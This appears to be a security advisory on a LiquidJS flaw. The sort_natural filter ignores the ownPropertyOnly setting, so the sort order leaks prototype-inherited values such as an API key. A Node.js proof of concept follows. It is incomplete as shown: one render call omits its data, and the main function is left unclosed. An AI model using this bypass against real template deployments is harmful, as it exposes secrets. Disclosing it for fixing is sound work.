LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel

export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
  const propertyString = stringify(property)
  const compare = property === undefined
    ? caseInsensitiveCompare
    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
  const array = toArray(input)
  this.context.memoryLimit.use(array.length)
  return [...array].sort(compare)
}

export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
  return obj[key]
}

const { Liquid } = require('liquidjs');

async function main() {
  const engine = new Liquid({ ownPropertyOnly: true });

  // Object with prototype-inherited secret
  function UserModel() {}
  UserModel.prototype.apiKey = 'sk-1234-secret-token';

  const target = new UserModel();
  target.name = 'target';

  const probe_a = { name: 'probe_a', apiKey: 'aaa' };
  const probe_z = { name: 'probe_z', apiKey: 'zzz' };

  // Direct access: correctly blocked by ownPropertyOnly
  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
  console.log('Direct access:', JSON.stringify(r1));  // "" (blocked)

  // map filter: correctly blocked
  const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
  console.log('Map filter:', JSON.stringify(r2));  // "" (blocked)

  // sort_natural: BYPASSES ownPropertyOnly
  const r3 = await engine.parseAndRender(
    '{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',

  );

  // Output: "probe_a,target,probe_z,"
  // If apiKey were blocked: original order "probe_z,target,probe_a,"
  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
